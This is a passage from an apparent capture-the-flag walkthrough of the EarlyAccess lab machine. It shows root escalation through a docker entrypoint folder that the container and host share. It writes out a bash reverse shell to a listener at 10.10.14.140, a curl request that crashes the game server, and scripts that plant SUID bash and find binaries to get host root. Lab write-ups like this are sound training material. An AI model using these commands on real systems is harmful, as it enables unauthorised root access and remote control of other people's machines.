and now the instance are rebuild so any connection will be disconnect and after it finished, it will execute anything on docker-entrypoint.d directory.
Let’s build it all together.
what you need
2 ssh session on drew account
1 for copying shell file into docker-entrypoint.d directory
1 other for port forwarding so we can run curl to crashed the servernc listener on host
first i made bash reverse shell and save it at /tmp/shell.sh for later copied into /opt/docker-entrypoint.d/ directory because if i saved it directly on /opt/docker-entrypoint.d/ it will rewritten in a minute
shell.sh
#!/bin/bash/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.140/4545 0>&1'
dont forget to add executable bit so it can be executed.
chmod +x /tmp/shell.sh
after that, we can just copy that revshell into /opt/docker-entrypoint.d/shell.sh and execute command to crashing the server
curl localhost:9999/autoplay -X POST --data "rounds=9.2&verbose=true"
After that, you’ll getting reverse shell as root on game-server
because /docker-entrypoint.d/ are mounted from earlyaccess.htb and we have root access on game-server, we can make suid bit program and send it into earlyaccess.htb and then drew user can use that program to execute command as root.
https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout#mount-writable-folder
Again, because /docker-entrypoint.d/ directory always rewritten after a few minutes, we should be fast when making suid bits program or you can create bash file to create suid program so it save our time.
echo "cp /bin/bash /docker-entrypoint.d/bash; \\
chown root:root /docker-entrypoint.d/bash; \\
chmod u+s /docker-entrypoint.d/bash; \\
" > exec.sh && chmod +x exec.sh
just run that script (/tmp/exec.sh) on game-server as root, then you’ll get suid bits program on earlyaccess.htb machine too. but we can’t use bash suid bits since it give an error like this.
after looking for other possible program that can be used for privesc from suid bits, i got this interesting article
https://pentestlab.blog/2017/09/25/suid-executables/
we can use “find” command to execute bash command as a root if we had suid bit set.
echo "cp /usr/bin/find /docker-entrypoint.d/find; \\
chown root:root /docker-entrypoint.d/find; \\
chmod u+s /docker-entrypoint.d/find; \\
" > exec.sh && chmod +x exec.sh
now you can execute /tmp/exec.sh again and use “/opt/docker-entrypoint.d/find” on earlyaccess machine to get root privileges.